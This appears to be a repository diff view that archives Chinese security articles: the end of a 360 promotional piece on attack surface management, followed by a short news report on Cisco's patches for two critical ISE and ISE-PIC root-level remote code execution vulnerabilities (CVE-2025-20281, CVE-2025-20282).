||||
|
||||
**真题模拟评估，让防御能力可视可见**
|
||||
|
||||
|
||||
360攻击面管理方案内置20000+攻击模拟“真题”，提供业内顶级的APT、重保、勒索、挖矿等特色攻击面验证评估场景。支持20+主流数据接入方式，内置3000+开箱即用日志解析规则，覆盖300+品牌安全设备，通过简单的配置即可实现全品类安全设备的防御能力安全验证。
|
||||
|
||||
360
|
||||
|
||||
|
||||
**AI实战赋能，让攻击面管理智能化**
|
||||
|
||||
|
||||
在安全智能体加持下，360实现了对企业资产的深度洞察以及对潜在安全风险的全方位、高精度自动化识别，通过智能问答对攻击面管理基础知识、漏洞修复方案、平台操作问题进行实时解答。同时，通过智能体对资产和漏洞运营进行分析和评估，显著提升资产与风险运营管理的效率和效果。
|
||||
|
||||
|
||||
目前，360攻击面管理解决方案已成功为监管、金融、政府、央企、运营商、教育等超百家客户提供了攻击面识别与管理支持。
|
||||
|
||||
|
||||
**IDC**
|
||||
|
||||
|
||||
此前，在IDC《IDC Technology Assessment ：中国攻击面管理厂商技术评估，2024》报告中，360攻击面管理方案在网络资产攻击面管理（CAASM）、外部攻击面管理（EASM）、威胁情报能力、入侵与攻击模拟（BAS）、综合管理和可视化、平台开放性等六项评估中获得五星满分评价。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
让安全团队从“救火”到“防火”
|
||||
|
||||
让未知风险归零
|
||||
|
||||
从360攻击面管理方案开始
|
||||
|
||||
如需进一步咨询请联系
|
||||
|
||||
400-0309-360
|
||||
|
||||
|
||||
|
||||
往期推荐
|
||||
|
||||
<table><tbody><tr><td data-colwidth="100.0000%" width="100.0000%" style="border-width: 0px;border-color: rgb(62, 62, 62) rgb(62, 62, 62) rgb(255, 255, 255);border-style: none;padding: 0px 0px 10px;"><section style="min-height: 40px;margin-right: 0%;margin-left: 0%;"><section style="width: 100%;margin-right: auto;margin-bottom: -10px;margin-left: auto;"><table><tbody><tr><td rowspan="2" data-colwidth="25.0000%" width="25.0000%" style="border-color: rgb(62, 62, 62);border-style: none;background-repeat: no-repeat;background-attachment: scroll;vertical-align: bottom;background-image: url("https://mmbiz.qpic.cn/sz_mmbiz_jpg/pLEuriaaPnU1xlwDZic75Rl5UglbRXA2lJFo2tJbpC0O8Mn86O07M9MlFQjHJdM8gq6KUIua0v4wD9b9PRjjuapg/640?wx_fmt=jpeg&from=appmsg");padding: 0px;background-position: 30.0133% 0% !important;background-size: 171.545% !important;"><section style="margin-right: 0%;margin-bottom: 4px;margin-left: 0%;text-align: left;"><section style="text-align: right;padding-right: 4px;padding-left: 4px;color: rgb(255, 255, 255);font-size: 24px;line-height: 1;"><p style="text-align: left;"><strong><span leaf="">01</span></strong></p></section></section></td><td data-colwidth="75.0000%" width="75.0000%" style="border-color: rgb(62, 62, 62);border-style: none;padding-top: 0px;padding-bottom: 0px;background-color: rgb(249, 249, 249);"><section style="margin-top: 10px;margin-right: 0%;margin-left: 0%;"><section style="color: rgb(140, 140, 140);line-height: 1;font-size: 14px;"><p style=""><span style="color: rgb(145, 196, 110);"><span leaf="">● </span></span><span style="color: rgb(58, 66, 94);"><span leaf="">央视报道：360锁定台民进党当局“资通电军”黑客组织首要嫌犯</span></span></p></section></section></td></tr><tr><td data-colwidth="75.0000%" width="75.0000%" style="border-color: rgb(62, 62, 62);border-style: none;padding-top: 0px;padding-bottom: 0px;background-color: rgb(249, 249, 249);"><section style="margin-bottom: 5px;"><section style="line-height: 1;color: rgb(140, 140, 140);font-size: 12px;"><p style="text-align: right;"><span style="color: rgb(208, 208, 208);"><span leaf="">► <a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzA4MTg0MDQ4Nw==&mid=2247580720&idx=1&sn=548311a4a4093c6cdcdc23e8db3cace7&scene=21#wechat_redirect" textvalue="点击阅读" data-itemshowtype="0" linktype="text" data-linktype="2">点击阅读</a></span></span></p></section></section></td></tr></tbody></table></section></section></td></tr><tr><td data-colwidth="100.0000%" width="100.0000%" style="border-width: 0px;border-color: rgb(62, 62, 62) rgb(62, 62, 62) rgb(255, 255, 255);border-style: none;padding: 0px 0px 10px;"><section style="min-height: 40px;margin-right: 0%;margin-left: 0%;"><section style="width: 100%;margin-right: auto;margin-bottom: -10px;margin-left: auto;"><table><tbody><tr><td rowspan="2" data-colwidth="25.0000%" width="25.0000%" style="border-color: rgb(62, 62, 62);border-style: none;background-repeat: no-repeat;background-attachment: scroll;vertical-align: bottom;background-image: url("https://mmbiz.qpic.cn/sz_mmbiz_png/pLEuriaaPnU1xlwDZic75Rl5UglbRXA2lJtV0WkwbjOMsMTIocEmHK81ToDBbX000ODef4qhrB4t9TIicH48RbSyw/640?wx_fmt=png&from=appmsg");padding: 0px;background-position: 63.5676% 0% !important;background-size: 139.503% !important;"><section style="margin-right: 0%;margin-bottom: 4px;margin-left: 0%;"><section style="text-align: right;padding-right: 4px;padding-left: 4px;color: rgb(255, 255, 255);font-size: 24px;line-height: 1;"><p style="text-align: left;"><strong><span leaf="">02</span></strong></p></section></section></td><td data-colwidth="75.0000%" width="75.0000%" style="border-color: rgb(62, 62, 62);border-style: none;padding-top: 0px;padding-bottom: 0px;background-color: rgb(249, 249, 249);"><section style="margin-top: 10px;margin-right: 0%;margin-left: 0%;"><section style="color: rgb(140, 140, 140);line-height: 1;font-size: 14px;"><p style=""><span style="color: rgb(145, 196, 110);"><span leaf="">● </span></span><span style="color: rgb(58, 66, 94);"><span leaf="">权威首选：360安全大模型一体机引领行业场景落地</span></span></p></section></section></td></tr><tr><td data-colwidth="75.0000%" width="75.0000%" style="border-color: rgb(62, 62, 62);border-style: none;padding-top: 0px;padding-bottom: 0px;background-color: rgb(249, 249, 249);"><section style="margin-bottom: 5px;"><section style="line-height: 1;color: rgb(140, 140, 140);font-size: 12px;"><p style="text-align: right;"><span style="color: rgb(208, 208, 208);"><span leaf="">► <a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzA4MTg0MDQ4Nw==&mid=2247580882&idx=1&sn=aaa6b0e850f9a95766aeae3bc322b149&scene=21#wechat_redirect" textvalue="点击阅读" data-itemshowtype="0" linktype="text" data-linktype="2">点击阅读</a></span></span></p></section></section></td></tr></tbody>Line truncated
|
||||
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
# 思科修复了可能导致 root 级远程代码执行的关键 ISE 漏洞
|
||||
鹏鹏同学 黑猫安全 2025-06-27 01:26
|
||||
|
||||
|
||||
|
||||
思科修复了身份服务引擎（ISE）及ISE被动身份连接器（ISE-PIC）中两个关键漏洞（编号CVE-2025-20281与CVE-2025-20282），未经身份验证的远程攻击者可借此以root权限执行任意代码。
|
||||
|
||||
"思科身份服务引擎（ISE）及ISE被动身份连接器（ISE-PIC）存在的多个漏洞，可能允许未经身份验证的远程攻击者以root用户身份在底层操作系统执行命令。"安全公告指出。
|
||||
|
||||
其中CVE-2025-20281（CVSS评分10分）影响思科ISE/ISE-PIC 3.3及以上版本，而CVE-2025-20282（CVSS评分10分）仅影响3.4版本，其他版本不受影响。
|
||||
|
||||
CVE-2025-20281是ISE/ISE-PIC的关键漏洞，攻击者可通过存在缺陷的API以root权限远程执行代码。"该漏洞源于对用户输入验证不足，攻击者通过提交特制API请求即可利用此漏洞。成功利用后，攻击者可获得受影响设备的root权限。"公告补充说明。
|
||||
|
||||
第二个漏洞CVE-2025-20282同样属于高危漏洞，攻击者可通过内部API以root权限上传并执行文件。"此漏洞因系统未对上传文件进行有效性检查，导致恶意文件可被存入特权目录。攻击者通过向受影响设备上传特制文件即可实现攻击。"公告强调，"成功利用该漏洞可存储恶意文件，进而执行任意代码或获取系统root权限。"
|
||||
|
||||
思科表示目前尚无针对这些漏洞的临时解决方案。以下是已修复的版本信息表：
|
||||
|
||||
|
||||
|
||||
思科产品安全事件响应团队（PSIRT）目前未发现这些漏洞在野被利用的情况。
|
||||
|
||||
Reference in new issue
Block a user